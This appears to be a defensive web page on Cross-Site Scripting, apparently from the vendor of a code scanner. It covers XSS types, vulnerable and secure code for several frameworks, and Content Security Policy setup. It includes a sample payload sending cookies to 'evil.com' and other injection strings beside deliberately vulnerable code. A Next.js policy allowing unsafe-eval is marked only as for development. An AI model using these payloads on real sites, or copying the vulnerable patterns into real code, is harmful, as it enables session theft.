Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) is a client-side code injection attack where attackers inject malicious scripts into trusted websites. Ranked as OWASP Top 10 A03:2021 (Injection), XSS vulnerabilities allow attackers to execute arbitrary JavaScript in victims' browsers, bypassing the same-origin policy. Successful XSS attacks can steal session cookies, capture keystrokes, access sensitive data, perform unauthorized actions, deface websites, or redirect users to phishing sites. With over 40% of web applications containing at least one XSS vulnerability, it remains one of the most prevalent security threats.
Types of XSS Attacks
Stored XSS (Persistent)
CriticalMalicious script is permanently stored on the server (database, message boards, comments) and executed when other users view the content. Most dangerous type.
Example: Comment: <script>fetch("evil.com?c="+document.cookie)</script>
Reflected XSS (Non-Persistent)
HighScript is embedded in a URL or form submission and immediately reflected back in the HTTP response. Requires social engineering to trick users into clicking malicious links.
Example: URL: /search?q=<script>alert(document.cookie)</script>
DOM-based XSS
HighVulnerability exists entirely in client-side JavaScript that processes user input unsafely. Server never sees the malicious payload.
Example: window.location.hash → element.innerHTML
Self-XSS
MediumRequires victim to execute malicious code themselves, often through social engineering (browser console tricks).
Example: Paste this in console to win a prize!
Mutation-based XSS (mXSS)
HighExploits browser parsing inconsistencies. Sanitized HTML becomes malicious after browser parsing/mutation.
Example: <noscript><p title="</noscript><img src=x onerror=alert(1)>">
Blind XSS
CriticalPayload stored and executed in contexts attacker cannot directly view (admin panels, logs, internal tools).
Example: Contact form → Admin dashboard execution
Vulnerable vs Secure Code
React/JSX - Dangerous HTML
// DANGEROUS: Rendering user input as HTML
function UserComment({ comment }) {
return (
<div dangerouslySetInnerHTML={{ __html: comment.text }} />
);
}
// Attack: comment.text = "<img src=x onerror='alert(document.cookie)'>"
// Steals user's session cookie!// SAFE: React automatically escapes text content
function UserComment({ comment }) {
return <div>{comment.text}</div>;
}
// Or if you need HTML, use a sanitization library
import DOMPurify from 'dompurify';
import { APP_ROUTES } from '@/lib/config'
function UserComment({ comment }) {
const sanitized = DOMPurify.sanitize(comment.text);
return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
}Vanilla JavaScript - DOM Manipulation
// DANGEROUS: Using innerHTML with user input
const params = new URLSearchParams(window.location.search);
const username = params.get('name');
document.getElementById('welcome').innerHTML = 'Welcome, ' + username;
// Attack URL: ?name=<script>alert('XSS')</script>
// Script executes in user's browser// SAFE: Using textContent instead of innerHTML
const params = new URLSearchParams(window.location.search);
const username = params.get('name');
document.getElementById('welcome').textContent = 'Welcome, ' + username;
// Or create text node
const welcomeEl = document.getElementById('welcome');
welcomeEl.appendChild(document.createTextNode('Welcome, ' + username));
// Script tags are rendered as text, not executedURL Parameters & Attributes
// DANGEROUS: User input in href attribute
const redirectUrl = new URLSearchParams(window.location.search).get('redirect');
const link = document.createElement('a');
link.href = redirectUrl; // No validation
link.textContent = 'Click here';
// Attack: ?redirect=javascript:alert(document.cookie)
// Clicking link executes JavaScript// SAFE: Validate and whitelist URLs
const redirectUrl = new URLSearchParams(window.location.search).get('redirect');
function isSafeUrl(url) {
try {
const parsed = new URL(url, window.location.origin);
// Only allow http(s) protocols and same origin or whitelisted domains
return (
(parsed.protocol === 'http:' || parsed.protocol === 'https:') &&
(parsed.origin === window.location.origin ||
allowedDomains.includes(parsed.hostname))
);
} catch {
return false;
}
}
if (isSafeUrl(redirectUrl)) {
const link = document.createElement('a');
link.href = redirectUrl;
link.textContent = 'Click here';
} else {
console.error('Invalid redirect URL');
}Framework-Specific Protection
React Auto-Escaping
React automatically escapes values embedded in JSX, protecting against XSS by default.
// SAFE: React auto-escapes
function UserGreeting({ name }) {
return <h1>Hello, {name}!</h1>;
}
// If name = "<script>alert('XSS')</script>"
// Renders as text: Hello, <script>alert('XSS')</script>
// DANGEROUS: dangerouslySetInnerHTML bypasses protection
function UserBio({ bio }) {
return <div dangerouslySetInnerHTML={{ __html: bio }} />;
}
// SAFE: Sanitize with DOMPurify
import DOMPurify from 'dompurify';
function UserBio({ bio }) {
const sanitized = DOMPurify.sanitize(bio, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
ALLOWED_ATTR: ['href']
});
return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
}Vue.js Auto-Escaping
Vue escapes interpolated content by default. Use v-html sparingly and only with trusted content.
<!-- SAFE: Double mustache syntax auto-escapes -->
<p>{{ userInput }}</p>
<!-- DANGEROUS: v-html renders raw HTML -->
<div v-html="userBio"></div>
<!-- SAFE: Sanitize before using v-html -->
<script setup>
import DOMPurify from 'dompurify';
import { computed } from 'vue';
const props = defineProps(['userBio']);
const sanitizedBio = computed(() =>
DOMPurify.sanitize(props.userBio)
);
</script>
<div v-html="sanitizedBio"></div>Angular Security Context
Angular sanitizes values automatically based on context (HTML, URL, style, script).
<!-- SAFE: Angular sanitizes by default -->
<p>{{ userInput }}</p>
<!-- SAFE: Property binding also sanitized -->
<img [src]="imageUrl" />
<!-- DANGEROUS: Bypass with DomSanitizer (use carefully) -->
import { DomSanitizer } from '@angular/platform-browser';
constructor(private sanitizer: DomSanitizer) {}
getTrustedHtml(html: string) {
// Only use for trusted content!
return this.sanitizer.bypassSecurityTrustHtml(html);
}
<!-- SAFE: Use Angular's built-in sanitization -->
<div [innerHTML]="userBio"></div>
// Angular automatically sanitizes innerHTMLContent Security Policy (CSP)
CSP is an HTTP header that defines trusted sources for scripts, styles, and other resources. Even if XSS occurs, CSP prevents malicious scripts from executing.
Basic CSP (Strict)
// HTTP Header or Meta Tag
Content-Security-Policy: default-src 'self';
script-src 'self';
style-src 'self';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self';
frame-ancestors 'none';
// Blocks all inline scripts and external sources except same originNonce-based CSP (Recommended for SPAs)
// Server generates unique nonce for each request
const nonce = crypto.randomBytes(16).toString('base64');
// Set CSP header with nonce
res.setHeader(
'Content-Security-Policy',
`script-src 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'none';`
);
// Include nonce in script tags
<script nonce="${nonce}" src="/app.js"></script>
<script nonce="${nonce}">
console.log('Inline script with nonce');
</script>
// Scripts without correct nonce are blockedNext.js CSP Configuration
// next.config.js
module.exports = {
async headers() {
return [
{
source: '/(.*)',
headers: [
{
key: 'Content-Security-Policy',
value: [
"default-src 'self'",
"script-src 'self' 'unsafe-eval' 'unsafe-inline'", // Relax for dev
"style-src 'self' 'unsafe-inline'",
"img-src 'self' blob: data:",
"font-src 'self'",
"connect-src 'self'",
"frame-ancestors 'none'"
].join('; ')
}
]
}
];
}
};CSP Violation Reporting
// Add report-uri to receive violation reports
Content-Security-Policy:
default-src 'self';
report-uri /csp-violation-report;
report-to csp-endpoint;
// Or use report-only mode for testing (doesn't block)
Content-Security-Policy-Report-Only:
default-src 'self';
report-uri /csp-violation-report;
// Endpoint receives JSON reports
app.post('/csp-violation-report', (req, res) => {
console.log('CSP Violation:', req.body);
// Log to monitoring service
res.status(204).end();
});CSP Best Practices
- Start with strict policy and relax as needed
- Use nonces for inline scripts instead of unsafe-inline
- Test with report-only mode before enforcing
- Never use unsafe-eval in production
- Whitelist specific domains, not wildcard (*)
Common CSP Directives
default-src- Fallback for other directivesscript-src- JavaScript sourcesstyle-src- CSS sourcesimg-src- Image sourcesconnect-src- AJAX, WebSocket, EventSourceframe-ancestors- Embedding in iframesupgrade-insecure-requests- Force HTTPS
Additional Prevention Methods
Output Encoding/Escaping
Always encode user input based on context (HTML, URL, JavaScript, CSS)
Use textContent, not innerHTML for textInput Validation
Validate and sanitize all user inputs on client and server
DOMPurify.sanitize(userInput)HTTPOnly Cookies
Set HTTPOnly flag on session cookies to prevent JavaScript access
Set-Cookie: session=...; HttpOnly; Secure; SameSite=StrictX-XSS-Protection Header
Enable browser XSS filter (legacy, CSP preferred)
X-XSS-Protection: 1; mode=blockAvoid eval() and Similar
Never use eval(), Function(), setTimeout(string) with user input
Use JSON.parse() instead of eval()Trusted Types API
Enforce type checking for dangerous sinks (innerHTML, eval)
require-trusted-types-for 'script'How CodeRaptor Detects XSS Vulnerabilities
CodeRaptor automatically scans for XSS vulnerabilities in your code, identifying dangerous patterns before they reach production.